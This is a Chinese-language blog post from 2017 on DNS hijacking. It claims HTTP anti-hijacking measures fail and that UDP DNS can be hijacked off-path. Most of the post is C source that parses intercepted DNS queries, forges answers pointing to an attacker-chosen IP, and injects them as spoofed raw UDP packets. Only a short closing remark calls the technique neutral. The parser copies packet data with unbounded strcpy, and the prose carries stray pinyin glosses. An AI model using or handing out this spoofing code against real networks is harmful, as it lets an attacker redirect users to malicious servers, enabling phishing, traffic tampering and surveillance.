DNS劫持原理與實現

發布日期:2017-06-21首頁 > IT資(zī)訊

705-1F614112TR26.jpg

一(yī)個問題是基于TCP的HTTP服務可以防劫持嗎(ma),網上有許多關于HTTP防劫持的辦法,有說檢測服務地址的,有說分(fēn)片傳輸請求的,有說檢測ttl值異常的,有說禁止重定向的,結論是都沒用,僞造報文裏網絡層地址原本就是用戶的目标地址,否則還叫什麽僞造呢,請求報文分(fēn)片web端能識别劫持設備就能識别,況且你确定你分(fēn)片的報文在網絡設備層發送前不會合并嗎(ma),ttl異常檢測完全不靠譜,不用重定向200OK照樣讓你乖乖跳轉;另一(yī)個問題是UDP能實現旁路劫持控制嗎(ma),結論是可以,UDP不同于TCP無連接無狀态,隻要數據合法先到先得,早年運營商(shāng)控制P2P數據傳輸對帶寬的占用就使用過類似方法,直接看代碼吧不複雜(zá)。

DNS協議

//   0     1--4    05   06   07   08    9-11    12-15 // +----+--------+----+----+----+----+--------+-------+ // | QR | opcode | AA | TC | RD | RA | <zero> | rcode | // +----+--------+----+----+----+----+--------+-------+ // +--------------------------------+ // | DNS Header: ID + flags         | // +--------------------------------+ // | Question:   type of query      | // +--------------------------------+ // | Answer:     RR answer to query | // +--------------------------------+ // | Authority:  RR for name server | // +--------------------------------+ // | Additional: RR(s) other info   | // +--------------------------------+ 

DNS解析

void GtDnsParse(UCHAR* puszPacket, GTDNSHEADER_S* pstHead, GTDNSQUESTION_S* pstQues) { 	UCHAR* puszCur = puszPacket;  	/* dns header */ 	memcpy(&pstHead->m_usIdent, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	memcpy(&pstHead->m_usFlags, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	memcpy(&pstHead->m_usQuCount, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	memcpy(&pstHead->m_usAnCount, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	memcpy(&pstHead->m_usNaCount, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	memcpy(&pstHead->m_usAdCount, puszCur, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	/* dns question */ 	if (ntohs(pstHead->m_usQuCount) > 0) { 		strcpy(pstQues->m_szUrl, (char*)puszCur); 		puszCur += strlen(pstQues->m_szUrl) + 1; 		memcpy(&pstQues->m_usType, puszCur, sizeof(USHORT)); 		puszCur += sizeof(USHORT); 		memcpy(&pstQues->m_usClass, puszCur, sizeof(USHORT)); 		puszCur += sizeof(USHORT); 	}  	return; }

DNS劫持

UINT GtDnsForge(UCHAR* puszPacket, GTDNSHEADER_S* pstHead, GTDNSQUESTION_S* pstQues) { 	UCHAR* puszCur = puszPacket;  	/* dns header */ 	memcpy(puszCur, &pstHead->m_usIdent, sizeof(USHORT)); 	puszCur += sizeof(USHORT);  	*(USHORT*)puszCur = htons(0X8180); 	/**(USHORT*)puszCur |= DNS_FLAG_QR; 	*(USHORT*)puszCur |= DNS_FLAG_AA; 	*(USHORT*)puszCur |= DNS_FLAG_RD; 	*(USHORT*)puszCur |= DNS_FLAG_RA;*/ 	puszCur += sizeof(USHORT);  	*(USHORT*)puszCur = pstHead->m_usQuCount; 	puszCur += sizeof(USHORT);  	 *(USHORT*)puszCur = GT_DNS_AN; 	puszCur += sizeof(USHORT);  	 *(USHORT*)puszCur = GT_DNS_NA; 	puszCur += sizeof(USHORT);  	 *(USHORT*)puszCur = GT_DNS_AD; 	puszCur += sizeof(USHORT);  	/* dns question */ 	strcat((char*)puszCur, pstQues->m_szUrl); 	puszCur += strlen(pstQues->m_szUrl) + 1;  	*(USHORT*)puszCur = pstQues->m_usType; 	puszCur += sizeof(USHORT);  	*(USHORT*)puszCur = pstQues->m_usClass; 	puszCur += sizeof(USHORT);  	/* dns answer */ 	*(USHORT*)puszCur = GT_DNS_DOMAIN; 	puszCur += sizeof(USHORT);  	*(USHORT*)puszCur = GT_DNS_AN; 	puszCur += sizeof(USHORT);  	*(USHORT*)puszCur = GT_DNS_AN; 	puszCur += sizeof(USHORT);  	*(UINT*)puszCur = GT_DNS_DEFAULT_TTL; 	puszCur += sizeof(UINT);  	*(USHORT*)puszCur = GT_DNS_AN_SIZE; 	puszCur += sizeof(USHORT);  	*(UINT*)puszCur = inet_addr(GT_DNS_HTML); 	puszCur += sizeof(UINT) + 1;  	return (UINT)(puszCur - puszPacket); }

DNS僞造

void GtRawDnsSend(int iSocket, UCHAR* puszHeader, UCHAR* puszData, int iDataLength) { 	USHORT usSrcPort = 0; 	USHORT usDstPort = 0; 	struct sockaddr_in stRaw; 	struct in_addr stSrcAddress; 	struct in_addr stDstAddress; 	struct ip* pstIP = NULL; 	struct udphdr* pstUdp = NULL; 	struct udphdr* pstRedirUdp = NULL; 	UCHAR uszRedir[PACKET_SIZE] = { 0 };  	/* ip header */ 	pstIP = (struct ip*)puszHeader; 	memcpy(&stSrcAddress, &pstIP->ip_src, sizeof(struct in_addr)); 	memcpy(&stDstAddress, &pstIP->ip_dst, sizeof(struct in_addr));  	/* udp Header */ 	pstUdp = (struct udphdr*)(puszHeader + pstIP->ip_hl * 4); 	usSrcPort = ntohs(pstUdp->uh_sport); 	usDstPort = ntohs(pstUdp->uh_dport);  	/* redir packet */ 	memcpy(uszRedir + sizeof(struct ip) + sizeof(struct udphdr), puszData, iDataLength);  	pstRedirUdp = (struct udphdr*)(uszRedir + sizeof(struct ip)); 	GtRawUdpHead((char*)pstRedirUdp, usDstPort, usSrcPort, sizeof(struct udphdr) + iDataLength); 	pstRedirUdp->uh_sum = GtRawTransportCheckSum(IPPROTO_UDP, (char*)pstRedirUdp, sizeof(struct udphdr) + iDataLength, stDstAddress, stSrcAddress);  	GtRawIPHead((char*)uszRedir, IPPROTO_UDP, stDstAddress, stSrcAddress, sizeof(struct ip) + sizeof(struct udphdr) + iDataLength);  	memset(&stRaw, '\0', sizeof(struct sockaddr_in)); 	stRaw.sin_family = AF_INET; 	stRaw.sin_addr = stSrcAddress; 	stRaw.sin_port = htons(usSrcPort);  	if( sendto(iSocket, uszRedir, sizeof(struct ip) + sizeof(struct udphdr) + iDataLength, 0, (struct sockaddr*)&stRaw, sizeof(struct sockaddr_in)) < 0 ) { 		GT_ERROR("%s\n", strerror(errno)); 	}  	return; }  void GtRawUdpHead(char* pszPacket, USHORT usSrc, USHORT usDst, int iLength) { 	struct udphdr* pstUdp = (struct udphdr*)pszPacket;  	pstUdp->uh_sport = htons(usSrc); 	pstUdp->uh_dport = htons(usDst); 	pstUdp->uh_ulen = htons(iLength); 	pstUdp->uh_sum = 0;  	return; }  USHORT GtRawTransportCheckSum(UCHAR ucPro, char* pszPacket, int iLength, struct in_addr stSrc, struct in_addr stDst) { 	USHORT usAnswer = 0; 	GTTCPPSEUDO_S stPseudo; 	char szPseudo[PACKET_SIZE] = { 0 };  	memset(&stPseudo, '\0', sizeof(GTTCPPSEUDO_S)); 	stPseudo.m_stSrc = stSrc; 	stPseudo.m_stDst = stDst; 	stPseudo.m_ucHolder = 0; 	stPseudo.m_ucProtocol = ucPro; 	stPseudo.m_usLength = htons(iLength);  	memcpy(szPseudo, &stPseudo, sizeof(GTTCPPSEUDO_S)); 	memcpy(szPseudo + sizeof(GTTCPPSEUDO_S), pszPacket, iLength);  	usAnswer = (USHORT)GtRawIPCheckSum((USHORT*)szPseudo, sizeof(GTTCPPSEUDO_S) + iLength);  	return usAnswer; }

    連續兩篇論述關于劫持的文章其實是想說明,技術本身是爲了産品和功能服務的沒有好與壞善與惡之說,用的不好給人帶來糟糕的體(tǐ)驗不說還使人厭(yàn)煩,用的好可以淨化網絡環境屏蔽不良信息,希望諸位網絡活動的參與者從自身做起共同維護良好的網絡秩序。